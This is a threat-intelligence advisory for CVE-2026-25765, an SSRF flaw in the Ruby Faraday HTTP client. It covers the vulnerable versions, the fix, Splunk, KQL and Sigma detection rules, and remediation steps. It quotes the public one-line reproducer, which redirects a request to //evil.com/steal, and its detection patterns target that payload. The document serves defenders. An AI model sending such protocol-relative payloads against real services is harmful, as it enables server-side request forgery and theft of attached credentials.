Skip to navigation

Threat reportVulnerabilityTL-2026-4872

Faraday Ruby HTTP client SSRF via protocol-relative URL in build_exclusive_url (CVE-2026-25765)

mediumPATCHED

Faraday's build_exclusive_url (versions 1.0.0-1.10.4 and 2.0.0-2.14.0) lets an attacker who controls the request path override the destination host with a protocol-relative URL such as //evil.com/steal, causing server-side request forgery. Fixed in 2.14.1 and 1.10.5; a minimal PoC is public and no in-the-wild exploitation is reported in the sources reviewed.

Key facts for TL-2026-4872

IdentifiersTL-2026-4872, CVE-2026-25765
Also known asGHSA-33mh-2634-fwr2
SeverityMEDIUM
CVSS5.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N)
Exploitation statusPublic proof-of-concept exploit
EPSSCVE-2026-25765: 0.3% (34.1th percentile)
Affected productslostisland Faraday (Ruby gem)
Weaknesses (CWE)CWE-918
MalwareRuby, httpclient - S0068
ToolsNeo (ProjectDiscovery AI security copilot)
MITRE ATT&CK techniquesT1018 Remote System Discovery, T1046 Network Service Discovery, T1048 Exfiltration Over Alternative Protocol, T1190 Exploit Public-Facing Application, T1212 Exploitation for Credential Access, T1552 Unsecured Credentials
MotivationUNKNOWN
Target sectorstechnology, software development, any organization running ruby applications that use faraday
Target regionsGlobal
Detection rules9 (1 shown free)
Sources13 cited sources

Detection coverage for TL-2026-4872

As of 2026-10-31, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-4872 across Splunk SPL, Microsoft KQL and Sigma, covering 12 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.

Free detection: Faraday SSRF Protocol-Relative Path in Web Request (CVE-2026-25765) — Exploitation

Detects inbound web requests where the URL path, or a query parameter value, begins with // (for example //evil.com/steal or ///evil.com). In Faraday 1.0.0-1.10.4 and 2.0.0-2.14.0, Faraday::Connection#build_exclusive_url treats a leading // as a network-path reference, so an attacker-influenced path argument replaces the base-URL host and the Ruby service sends the request to the attacker-chosen or internal host (CVE-2026-25765, CWE-918). The PoC is public and no in-the-wild exploitation is reported, so this is an exposure and early-warning detection.

  • Languages: Splunk SPL, Microsoft KQL, Sigma
  • ATT&CK: T1190, T1212
  • Data sources: web:access_combined, web:nginx:plus:access, web:iis, CommonSecurityLog, webserver logs
  • Severity: medium
  • Confidence: high

Splunk SPL

index=web sourcetype IN ("access_combined", "nginx:plus:access", "iis") earliest=-24h
```CVE-2026-25765 Faraday build_exclusive_url: attacker-controlled request path beginning with // replaces the base-URL host (PoC //evil.com/steal)```
| eval client=coalesce(src, clientip, c_ip), req_path=coalesce(uri_path, cs_uri_stem, ""), req_query=urldecode(coalesce(uri_query, cs_uri_query, ""))
| eval vector=case(match(req_path, "^/{2,}[^/]"), "path", match(req_query, "(^|&)[^=&]*=/{2,}[^/]"), "parameter")
| where isnotnull(vector)
| stats count min(_time) as first_seen max(_time) as last_seen values(req_path) as paths values(req_query) as queries values(status) as statuses by client, host, vector
| convert ctime(first_seen) ctime(last_seen)
| sort - count

Microsoft KQL

CommonSecurityLog
| where TimeGenerated > ago(24h)
| where isnotempty(RequestURL)
| extend UrlDecoded = url_decode(RequestURL)
| extend Vector = case(UrlDecoded matches regex @'^(https?://[^/]+)?/{2,}[^/]', 'path', UrlDecoded matches regex @'[?&][^=&]*=/{2,}[^/]', 'parameter', '')
| where isnotempty(Vector)
| summarize Requests = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated), SampleUrls = make_set(RequestURL, 10) by SourceIP, DestinationHostName, Vector
| order by Requests desc

Sigma

title: Faraday SSRF Protocol-Relative Path in Web Request (CVE-2026-25765)
id: 7c1e4a52-3b8d-4f06-9a21-5d0e8b6c13f1
status: experimental
description: Detects web requests whose path or query parameter value begins with a double slash, the input class that overrides the destination host in vulnerable Faraday build_exclusive_url (CVE-2026-25765, CWE-918).
references:
  - https://github.com/lostisland/faraday/security/advisories/GHSA-33mh-2634-fwr2
  - https://nvd.nist.gov/vuln/detail/CVE-2026-25765
author: AII-Detector — ThreadLinqs Intelligence
date: 2026/10/31
tags:
  - attack.initial-access
  - attack.t1190
  - attack.credential-access
  - attack.t1212
  - cve.2026-25765
logsource:
  category: webserver
detection:
  selection_path:
    cs-uri-stem|re: '^/{2,}[^/]'
  selection_param:
    cs-uri-query|contains:
      - '=//'
      - '=%2f%2f'
  condition: 1 of selection_*
falsepositives:
  - Applications that legitimately pass protocol-relative URLs in redirect or return_url parameters
  - Clients or proxies that emit a double slash by mistake when joining paths
level: medium

Known false positives:

  • Applications that legitimately accept protocol-relative URLs (//cdn.example.com/x) in redirect, return_url or callback parameters
  • Misbehaving clients or reverse proxies that join paths with a doubled slash

Tuning notes: Scope index/sourcetype to the logs of Ruby services that use Faraday. Restrict the parameter check to parameter names that feed Faraday path arguments once they are known, and allowlist known redirect parameters. Raise severity when the path vector is hit from an external source or the request returns 2xx. Faraday older than 2.14.1 (or 1.10.5 on the 1.x line) is the precondition, so correlate with SBOM or bundle audit data.

8 more detection rules (Splunk SPL, Microsoft KQL, Sigma) · unlock with TL Creds. Sign up free to unlock the detection rules or query them with the Threadlinqs MCP server (Purple)
  • [indicator] SSRF Authority-Form Payloads (userinfo, port, IP literal) in Request URLs — Exploitation · unlock with TL Creds
  • Ruby Process Connecting to Internal Admin and Service Ports ([indicator] SSRF) — Discovery · unlock with TL Creds
  • Ruby Process First-Seen External Destination ([indicator] SSRF Exfiltration Path) — Egress · unlock with TL Creds
  • [indicator] SSRF Public PoC Replay (//[indicator], //attacker.com) in Request URLs — Exploitation · unlock with TL Creds
  • Cloud Metadata Credential Path Requested via HTTP ([indicator] SSRF Credential Theft) — Post-Exploitation · unlock with TL Creds
  • [indicator] Client Egress to PoC Placeholder Hosts ([indicator], attacker.com) — Exfiltration Path · unlock with TL Creds
  • [indicator] Client Request to Cloud Metadata Endpoint (CVE-2026-25765) — Post-Exploitation · unlock with TL Creds
  • [indicator] Client Internal Destination Fan-Out (CVE-2026-25765) — Internal Reconnaissance · unlock with TL Creds

Indicators of compromise for TL-2026-4872

As of 2026-10-31, Threadlinqs Intelligence tracks 12 indicators of compromise for TL-2026-4872.

Sample indicators (3 of 12)

  • Domain: evil[.]com
  • URL: hxxps://api[.]internal[.]com
  • File hash: a6d3a3a0bf59c2ab307d0abd91bc126aef5561bc

Defanged, TLP:CLEAR. Full set of 12 indicators: unlock with TL Creds.

12 indicators of compromise · unlock with TL Creds. Compare plans

How Faraday Ruby HTTP client SSRF via protocol-relative URL in works

Faraday is a widely used HTTP client abstraction library for Ruby. Its Faraday::Connection#build_exclusive_url method merges the connection's configured base URL with a caller-supplied path using Ruby's URI#merge. Per RFC 3986 sections 5.2.2 and 5.4, a reference beginning with two slashes (//host/path) is a network-path reference whose authority component replaces the base URL's host. The method only checked whether the input started with a single slash to tell paths from absolute URLs, so //evil.com/steal was treated as 'use this host'.

Minimal reproducer (published in the ProjectDiscovery write-up and the GitHub advisory): conn = Faraday.new(url: 'https://api.internal.com'); conn.get('//evil.com/steal'). The request is sent to https://evil.com/steal instead of api.internal.com. Exploitation requires an application that passes attacker-influenced input as the path argument to Faraday request methods such as get() or post(). Because the request is issued server-side, an attacker can steer it to internal services or to attacker-controlled hosts, which may receive any headers, credentials or bodies the connection attaches (for example default Authorization headers). The CVSS vector (S:C, C:L) reflects the scope change and limited confidentiality impact.

The fix (commit a6d3a3a0bf59c2ab307d0abd91bc126aef5561bc, shipped in v2.14.1; patched in v1.10.5 for the 1.x line) extends the guard in build_exclusive_url so that inputs starting with // are prefixed with ./, neutralizing the authority component and keeping the request on the configured base host. Added tests cover //evil.com/path, //evil.com:8080/path, //user:pass@evil.com/path, ///evil.com and normal single-slash paths. Per ProjectDiscovery, the issue was found autonomously by its AI security copilot Neo (its first credited CVE); the advisory credits reporter theamanrawat and finder neo-ai-engineer. ProjectDiscovery notes Faraday is used in applications and libraries such as GitLab, Fastlane and Google auth libraries; the impact on those products is the article's statement and was not independently verified here.

No threat actor, malware or infrastructure is associated with this vulnerability. The sources do not report in-the-wild exploitation. Defenders should upgrade Faraday, audit code paths that pass untrusted input as the request path, and apply egress filtering. Detection focuses on request logs and application inputs containing a leading // in path parameters and on unexpected outbound destinations from Ruby services.

MITRE ATT&CK techniques by tactic:

Discovery

T1018 Remote System Discovery; T1046 Network Service Discovery

Exfiltration

T1048 Exfiltration Over Alternative Protocol

Initial Access

T1190 Exploit Public-Facing Application

Credential Access

T1212 Exploitation for Credential Access; T1552 Unsecured Credentials

Remediation for Faraday Ruby HTTP client SSRF via protocol-relative URL in

Patches

  • Faraday v2.14.1 (commit a6d3a3a0bf59c2ab307d0abd91bc126aef5561bc)
  • Faraday v1.10.5

Immediate actions

  • Upgrade the faraday gem to 2.14.1 or later (1.10.5 or later on the 1.x line)
  • Run bundle list / bundle audit to find transitive Faraday dependencies and update them
  • Search request logs for path parameters starting with // that reach Faraday-backed endpoints

Workarounds

  • Reject user-supplied paths matching //[^/]
  • Implement an allowlist for permitted paths
  • Prepend ./ to user-supplied paths before calling Faraday

Longer-term hardening

  • Never pass untrusted input directly as the path argument of Faraday request methods; use allowlists of permitted paths
  • Restrict egress from application servers to approved destinations and block access to internal and metadata ranges
  • Avoid attaching default credential headers to connections that can be redirected by user input
  • Add dependency scanning (bundler-audit, GHSA/OSV feeds) to CI

Affected and fixed versions

  • lostisland — Faraday (Ruby gem)
    Vulnerable versions: 1.0.0 - 1.10.4; 2.0.0 - 2.14.0
    Fixed in: 1.10.5; 2.14.1

Timeline of Faraday Ruby HTTP client SSRF via protocol-relative URL in

  • locked-ioc-11 PR #1569 ('Merge relative url without escaping', author ykrods, merged by iMacTia) merged; the resulting ./ prefix guard (shipped in v2.9.2) exempts inputs starting with /, which is the gap later exploited via //host paths.
  • GitHub Security Advisory GHSA-33mh-2634-fwr2 published (CVSS 5.8, CWE-918); credits reporter theamanrawat and finder neo-ai-engineer.
  • locked-ioc-11 v2.14.1 released (15:16 UTC) with an unspecified security fix; commit a6d3a3a adds // handling to build_exclusive_url. Patched 1.x release is v1.10.5.
  • CVE-2026-25765 published in NVD with CVSS 3.1 base score 5.8 (MEDIUM); affected locked-ioc-11 1.0.0-1.10.4 and 2.0.0-2.14.0.
  • locked-ioc-8 publishes write-up describing how its AI copilot Neo found the flaw, including the minimal //locked-ioc-10 reproducer.
  • NVD record for CVE-2026-25765 last modified.

Sources cited for Faraday Ruby HTTP client SSRF via protocol-relative URL in

Other reports on CVE-2026-25765

Previous and next in vulnerability

Drafted by the Threadlinqs research pipeline from 13 sources; published ; last updated —.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Live intelligence console

Threat level

Latest Threats